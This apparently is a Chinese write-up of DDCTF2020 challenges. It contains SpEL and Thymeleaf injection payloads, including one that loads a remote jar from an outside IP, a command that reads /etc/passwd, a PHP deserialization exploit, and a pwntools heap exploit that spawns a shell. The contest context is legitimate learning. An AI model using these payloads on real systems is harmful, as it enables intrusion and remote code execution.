DDCTF2020 Writeup

DDCTF2020 Writeup

全靠lfy帶飛orz.php

Web

Web1

-w1296

照着來一遍請求,拿到jwt,jwt.io看一下是hs256java

-w343

跑一下key是1,僞造便可拿到clientpython

client抓請求發現signature對便可:
-w934
web

逆client,獲得signature請求邏輯,根據輸出格式、輸出長度以及輸入,判斷出簽名是hmacsha256算法,而後密鑰是DDCTFWithYou,寫個簽名腳本打一下算法

import requests
import json
import hmac
import base64
from hashlib import sha256
import time

url = "http://117.51.136.197/server/health"
a = requests.get(url)
print(a.text)
t = int(time.time())
cmd = 'T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/home/dc2-user/flag/flag.txt"))'
appsecret = "DDCTFWithYou".encode('utf-8')
data = f"{cmd}|{t}".encode('utf-8')
print(data)
signature = base64.b64encode(hmac.new(appsecret, data, digestmod=sha256).digest())
print(signature)
data = { "signature":signature.decode(),"command":f"{cmd}","timestamp":t}
print(json.dumps(data))
url = "http://117.51.136.197/server/command"
headers = { 'Content-Type': 'application/json',"User-Agent":"Go-http-client/1.1","Accept-Encoding":"gzip"}
a = requests.post(url=url,headers=headers,data = json.dumps(data))
print(a.text)

而後測了一下’1’+'1’發現是11,而後根據404後端是個java,感受是spel,測了一下讀文件拿到flagspring

web2

一看就感受可能有溢出或者高併發問題。
int:


shell

long long:

數據庫

感受多是數據庫兩個表類型不同致使的?apache

而後就能兌換禮物了

json

隨便測了個404,發現熟悉的404頁面,寫過的都知道是gin

還給了secret key,很容易想到僞造session,把以前的session解兩次b64發現有admin,用現成工具僞造一下便可
-w934

web3

打開發現登錄,嘗試弱口令失敗,在返回包裏面發現rememberMe=deteleMe 跑了一下shiro的key沒跑出來。
測了一下shiro最近的幾個bypass,發現第二個能夠:

http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/index

查看代碼發現img路由有個任意讀,而後慢慢讀web.xml、spring-core.xml等等,仍是找不全源碼,最後猜想的去讀controller拿到AuthController和IndexController兩個:
-w235

看到auth路由跳轉了http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/index,發現是個render,結合剛纔web.xml讀到了,信息中有thymeleaf,猜想多是thymeleaf渲染,相似ssti。

測一手[[${1+1}]], 返回2,ok

後邊就是繞黑名單。測了很久,不少種思路都發現被ban了。。

思路過程:

bcel -> org.apache本ban
mlet/jdbcrowset -> 兩次set被ban
ServiceLoader/com.sun.naming.internal.VersionHelper.getVersionHelper().loadClass也被ban

最後以爲只能繞字符過濾了。。過濾了’ ", 嘗試new byte發現byte也沒了。。
String.valueOf((char)97)這種發現spel沒有char

最後在一篇國外的文章中收到啓發繞過引號 http://deadpool.sh/2017/RCE-Springs/

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
1)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
g(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

若是能夠拿到T(java.lang.Character)的話就能夠toString去構造出字符串來,不須要用引號,可是java.lang在waf裏面,而後就去找繼承java.lang.Character的類,發現是final定義,沒有繼承類。

翻了半天文檔找到: https://blog.csdn.net/hry2015/article/details/72668376

// 對於java.lang下面的類, T()能夠不指定全限定名稱: 輸出 --> java.lang.String*
@Value("#{ T(String)}")
private Class<?> tLangString;

因此能夠直接T(Character)去構造出字符串了。

而後嘗試nio那個payload去讀文件看看

T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/flag"))

可是read關鍵詞在waf中,而後其餘的讀文件的payload貌似也觸發了io的waf,因此換urlclassloader。

urlclassloader寫一下payload完事

content=[[${new+java.net.URLClassLoader(new+java.net.URL[]{new+java.net.URL(T(Character).toString(104)%2bT(Character).toString(116)%2bT(Character).toString(116)%2bT(Character).toString(112)%2bT(Character).toString(58)%2bT(Character).toString(47)%2bT(Character).toString(47)%2bT(Character).toString(49)%2bT(Character).toString(51)%2bT(Character).toString(57)%2bT(Character).toString(46)%2bT(Character).toString(49)%2bT(Character).toString(57)%2bT(Character).toString(57)%2bT(Character).toString(46)%2bT(Character).toString(50)%2bT(Character).toString(48)%2bT(Character).toString(51)%2bT(Character).toString(46)%2bT(Character).toString(50)%2bT(Character).toString(53)%2bT(Character).toString(51)%2bT(Character).toString(58)%2bT(Character).toString(49)%2bT(Character).toString(50)%2bT(Character).toString(51)%2bT(Character).toString(52)%2bT(Character).toString(47)%2bT(Character).toString(108)%2bT(Character).toString(102)%2bT(Character).toString(121)%2bT(Character).toString(46)%2bT(Character).toString(106)%2bT(Character).toString(97)%2bT(Character).toString(114))}).loadClass(T(Character).toString(65)).getConstructor().newInstance().toString()}]]

-w494

-w473

web4

find那邊的escapeshellcmd沒用,防不了參數注入。直接-exec就完了

而後unset這裏用對象掉用任意方法調用get_flag就行

public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }

exp

<?php

class ShowOff {
    public $contents;
    public $page;
}

class HintClass {
 // protected $hint = "local_file:///etc/passwd";
    protected $hint = "execute";
    public $execute;
}


class MiddleMan {
    private $cont = 1;
    public $content;
}


class MyClass
{
    var $kw0ng;
    var $flag;
}

$mc = new MyClass();
$mc->flag = "-exec ls -al / ;";

$mid2 = new MiddleMan();
$mid2->content = [$mc,'get_flag'];

$c = new ShowOff();
$c->page = $mid2;
$c->contents = "a";

echo urlencode(serialize($c));

?>

misc1

公告裏面有flag cv一下就是了

misc2

湖湘杯時候留的腳本,直接用就行。。
當時的思路是對比灰度,拿到碎片在原圖的位置,而後拼一張新圖。
核心代碼:

def compare_by_rgb(rgb_source, rgb_flag):
    count = len(rgb_source)
    differ = 0
    for i in range(count):
        if rgb_source[i] == rgb_flag[i]:
            differ += 1
    return round(differ / count * 100, 2)

-w543

misc3

加密流程以下:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-2by3PJli-1599830498217)(https://i.loli.net/2020/09/05/kvygfWzcEDHBn2L.png)]

其中,最後兩次異或,xor k3, shl 7, xor k4,能夠歸約爲一次異或,即xor k34, shl 7(k34與k3+k4的異或效果等價)。很容易推導,不在此展現了。

所以,雖然有5組子密鑰,但實際上,有效密鑰僅k0, k1, k2, k34,每組子密鑰長度應該也爲12bit,所以有效密鑰長度爲 ( 2 12 ) 4 = 2 48 (2^{12})^4 = 2^{48} (212)4=248

一個比較容易想到的攻擊方法就是Meet in the Middle Attack(中間相遇攻擊):

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-N8JRA5gG-1599830498218)(https://i.loli.net/2020/09/05/tZxeIKErqiFYVbP.png)]

可是每列一個表,對應的k0,k1(k2, k34)就有 409 6 2 4096^2 40962種,也就是說表長爲 409 6 2 4096^2 40962;而表中的結果只有4096種可能,兩個表碰撞到的次數太多了。

一組已知的明密文對,僅可以將搜索範圍減小4096倍,即 409 6 4 4096^4 40964減小到 409 6 3 4096^3 40963。至少須要4組明密文對才能將4個key肯定下來。還須要分別花費 409 6 3 , 409 6 2 , 4096 4096^3, 4096^2, 4096 40963,40962,4096的內存去記錄下這些candidate keys,太麻煩了。

觀察到密鑰空間僅爲 409 6 4 = 2 48 4096^4 = 2^{48} 40964=248,也不算是很大。燒點錢,買點服務器,暴力跑,就完事了。

因此,咱們在某雲服務器提供商處租用了48 + 3*32 = 144核的雲服務器,而後寫了一個簡單的C程序,對key進行爆破:

#include<stdio.h>
#include<stdint.h>

#define u16 uint16_t


u16 sbox0[] = { 
    ...
};

u16 sbox1[] = { 
    ...
};

u16 inp[] = { 
    2684, 3599, 1079, 633, 1799, 1121, 1766, 364, 1943, 873, 1842, 104, 1559, 800, 1590, 3941, 1894, 3948, 1894, 1380, 519, 1135, 1654, 1396, 1670, 1394, 519, 1897, 1862, 2080, 1591, 633, 1799, 1135, 1655, 609, 1798, 2169
};

u16 out[] = { 
    2568, 3185, 567, 361, 1793, 1001, 3036, 2896, 307, 258, 3884, 2240, 2214, 2489, 993, 2168, 2759, 2361, 2759, 73, 2269, 3421, 3808, 415, 1214, 1260, 2269, 934, 300, 2160, 2209, 361, 1793, 3421, 990, 790, 2503, 2845
};

u16 ror7(u16 b) { 
    return ((((b) & 4095) >> 7) | (((b) << 5) & 4095));
}

int main(int argc, char* argv[]) { 
    #pragma omp parallel for
    for (u16 k0=48*20+32*90; k0 < 4096; k0++) { 
        printf("k0: %d\n", k0);
        for (u16 k1=0; k1 < 4096; k1++) { 
            // printf("k1: %d\n", k1);
            for (u16 k2=0; k2 < 4096; k2++) { 
                for (u16 k34=0; k34 < 4096; k34++) { 
                    int FLAG = 1;
                    for (int i=0; i < 38; i++) { 
                        if (ror7(sbox0[sbox1[sbox0[k0 ^ inp[i]] ^ k1] ^ k2] ^ k34) != out[i]) { 
                            FLAG = 0;
                            break;
                        }
                    }
                    if (FLAG == 1) { 
                        printf("%d, %d, %d, %d\n", k0, k1, k2, k34);
                    }
                }
            }
        }
    }
}

編譯運行

$ gcc -fopenmp exp.c -o exp
$ ./exp

對於每一個k0,遍歷 409 6 3 4096^3 40963全部的k1, k2, k34單核大概須要14min。

咱們有144核,須要跑4096個k0,因此算下來,只須要不到7h就能夠跑完。

運氣比較好,大概跑了3h就找到了key:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-g9U7KY9p-1599830498219)(https://i.loli.net/2020/09/05/xMZO2gopbaiGHtk.jpg)]

k34是等價的k3 + k4

改一下源程序裏的解密部分,便可getflag。

# ...

Class Cipher(object):
    # ...
    def decrypt_bits(self, b):
        unboxed = self.rol7(b & BIT_MASK) ^ self.k3    # changed here!
        return (self.rsbox0[self.rsbox1[self.rsbox0[unboxed] ^ self.k2] ^ self.k1] ^ self.k0)
    # ...
    
def getflag():
    flag_enc = bytes.fromhex("8ed251b186921842b7fc62b708c18d87729a8771f85755733e12e4caedd51fa2ee7062ceae41dff01dcf").decode("latin-1")
    
    c = Cipher(3488, 2863, 726, 1886, 0)
    print(c.decrypt(flag_enc))

if __name__ == "__main__":
	getflag()
# DDCTF{2c38c38011e31e919dcd54c8ebd23491}

DDCTF{2c38c38011e31e919dcd54c8ebd23491}

pwn

首先這個add會是可變數組,而後在0x605380處有5個指針

1.可變數組的chunk地址
2.可變數組剩餘空間的起始地址
3.可變數組的結束地址
4.可變數組的start地址
5.可變數組的end地址

漏洞點在於show()函數調用的裏面,若是可變數組滿了會申請一個塊,將以前的數據memmove拷貝到新chunk裏面,同時更新0x605380處的指針
而0x605380 + 0x18處的指針是做爲可變數組的start處的指針,此處沒有及時更新,而第5個指針更新了數組的end,因此此處經過edit能夠向下溢出,edit完以後start指針變成當前塊的位置
既然沒有開啓pie隨機化,那麼能夠考慮unlink,而unlink想要把bss的指針給劫持下來,那麼就須要繞過 FD->bk==p && BK->fd == p兩個判斷
調試一下可發現,在遍歷可變數組的時候,其start指針會隨之移動,而後利用此處指針和show()新申請的塊僞造一個unlink結構,便可將start指針修改爲0x605380
以後就是經過start指針將bss上其餘三個指針修改,實現任意寫,只須要往hook或者got表裏面寫入一個rce便可



for i in range(16):
	new(i)
show()

寫入16個整型值,當show的時候會新申請一個塊,以前的塊放進unsorted bin中,可是start指針沒有更新,能夠leak出libc_base

for i in range(8):
	new(0x20)
for i in range(8):
	no()
edit('-16')
edit(0x90)
edit(0)
edit(0x21)
edit(0x605398 - 0x18)
edit(0x605398 - 0x10)
寫入8個整型值,show的時候一樣會申請一個塊,而後溢出,此處就修改新申請的塊prevsize大小爲-0x10
當下一次show()函數中申請新chunk會free掉上一次show()中申請的chunk,因爲old chunk中prevsize被咱們修改爲-0x10,又因爲有符號的緣由
因此向下與塊合併,便可往bss段上寫入一個bss地址,而後實現任意寫
edit(free_hook - 8)
edit(free_hook + 8)
edit(0)
edit(0x605398)
edit(0x6053A8)

show()

edit(0x68732F6E69622F)
edit(system)

而後如此修改,便可劫持到free_hook上方,由於在free_hook -8處寫入一個/bin/sh的64位整型值,free_hook寫system而後clear便可getshell

from pwn import *
context.log_level = 'DEBUG'
def menu(ch):
        p.sendlineafter('>>',str(ch))
def new(size):
        menu(1)
        p.sendlineafter('Input your num:',str(size))
def show():
        menu(2)
def clear():
        menu(3)
def edit(value):
        p.sendlineafter('Edit (y/n):','y')
        p.sendline(str(value))
def no():
        p.sendlineafter('Edit (y/n):','n')
p = remote("117.51.143.25",5005)
libc =ELF('./libc-2.23.so')
for i in range(16):
        new(i)
show()
p.recvuntil('1:')
libc_base = int((p.recvuntil('\n',drop=True)),10) - libc.sym['__malloc_hook'] -0x10 - 88
log.info('LIBC:\t' + hex(libc_base))
for i in range(34):
        no()
clear()
new(0)
new(1)
clear()
new(0)
new(1)
show()
p.recvuntil('1:')
heap_base = int((p.recvuntil('\n',drop=True)),10) - 0x11C30
log.info('HEAP:\t' + hex(heap_base))
IO_list_all = libc_base + libc.sym['_IO_list_all']
for i in range(10):
        no()
clear()
binsh = libc_base + libc.search('/bin/sh').next()
system = libc_base + libc.sym['system']
Global_max_fast = libc_base + 0x3C67F8
free_hook = libc_base + libc.sym['__free_hook']
for i in range(8):
        new(0x20)
show()
for i in range(8):
        no()
edit('-16')
edit(0x90)
edit(0)
edit(0x21)
edit(0x605398 - 0x18)
edit(0x605398 - 0x10)
for i in range(4):
        no()
for i in range(7):
        new(0x21)
show() # trigger
edit(free_hook - 8)
edit(free_hook + 8)
edit(0)
edit(0x605398)
edit(0x6053A8)
show()
edit(0x68732F6E69622F)
edit(system)
clear()
p.interactive()
相關文章
相關標籤/搜索